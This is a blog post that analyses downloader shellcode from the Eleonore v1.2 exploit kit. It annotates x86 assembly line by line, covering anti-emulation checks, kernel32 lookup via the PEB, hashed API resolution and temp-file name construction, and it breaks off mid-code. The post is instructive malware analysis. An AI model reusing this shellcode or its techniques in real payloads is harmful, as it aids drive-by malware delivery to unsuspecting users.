Some shellcode de-mystified

The shellcode described in this post was obtained from the Eleonore v1.2 exploit kit. High-level details about that kit are mentioned in my April 2012 blog post.

This post is a technical view of the actual shellcode and is intended to be instructive to the inquisitive reader. Since this code is relatively old, the main techniques (hashing API lookups, rol decryption, kernel32 address lookup) have been discussed before.

There are some other less-discussed bits of shellcode analysis, such as the anti-emulation code in the first segment below, that when viewed collectively with other shellcode analysis, may assist the reader in better understanding shellcode. So let's get into it.

mov eax, fs:18h; // Get the Thread Information Block (TIB)
mov eax, [eax + 30h]; // Get the Process Environment Block (PEB)
mov eax, [eax + 54h]; // Get ReadOnlyStaticServer Data pointer
mov eax, [eax + 4]; // Get Client Server Runtime Subsystem (CSRS) Object Port Name structure
mov eax, [eax + 4]; // Get the Object Directory of the CSRS port (kernel32 sets this to "C:Windows" for sessionID of 0)
mov eax, [eax + 4]; // Get the 3rd and 4th characters of the Object Directory unicode string
or eax, 200020h; // Normalize these two characters to lower case
cmp eax, 77007Ch; // This checks that the Object Directory is "C:Windows" by checking the two characters '' and 'W'.
// This ensures outer program this shellcode is running in, is a Win32 app connected to the windows
// subsystem process (CSRSS) with a system or console sessionID, else return.
jz DetectPlatform;
// pretty old standard method of retrieving kernel32.dll, to access GetProcAddr and LoadLibrary
// thereby accessing any functionality needed by shellcode
xor eax, eax;
mov eax, fs:[eax + 30h]; // Get the PEB
js Win9xPlatform; // Jump if signed (9x systems PEB mapped above 0x80000000, NT mapped at 0x7FFDF000 roughly)
mov eax, [eax + 0Ch]; // For NT, get PEB.Ldr (loaded module list struct)
mov esi, [eax + 1Ch]; // Get PEB_LDR_DATA.InInitializationOrderModuleList.Flink
lodsd; // Load from string from esi ptr to eax, loading second Flink entry
mov ebx, [eax + 8]; // Get base address of kernel32.dll (prior to Windows 7)
jmp StackSetup;
mov eax, [eax + 34h];
lea eax, [eax + 7Ch];
mov ebx, [eax + 3Ch]; // Get base addr of kernel32.dll
push 4Eh;
pop edx;
shl edx, 1; // 0x4E becomes 0x9C after shift
sub esp, edx; // increase stack by 0x9C
mov ebp, esp; // Move stack frame for shellcode space
mov [ebp + 10h], 'xe.n';
mov [ebp + 14h], 1FFh; // Size of shellcode
mov [ebp], 0; // Iteration 0
jmp DownloadMalware;
lea edi, [ebp + 1Ch]; // Load address from newly creates stack space
push edi; // lpBuffer
push edx; // nBufferLength (this = 0x9C, size of string to hold temp dir, c:temp)
mov eax, 5B8ACA33h; // HASH of GetTempPathA
call FindFuncHash; // This routine as discussed in previous blog is an spatially efficient way to look up API by its hash value
xor al, al; // Zero out for scan function
mov esi, edi;
repne scasb; // Repeat while not equal, scans string for 0 (get length of temp dir path)
dec edi;
mov eax, [ebp + 10h]; // Store "xe.n" from above or later "xe.y"
stosd; // Put xe.n at the end of the string rom edi, C:TEMP
cbw; // Convert byte to word, so ax now = "nn" or "yy" later
stosw; // Put "nn" to "n.ex" or later "yy" to y.exe to yield nnn.ex, yyy.ex
xor eax, eax;
mov eax, 'da';
push eax;
push 'erhT';
xor eax, 74691C24h; // 0x74697845 = "tixE" (Constructing ExitThread)
push eax; // lpProcName = "Exit"
push esp; // lpProcName = "Thread" (c
Comments (0)

Skip to main content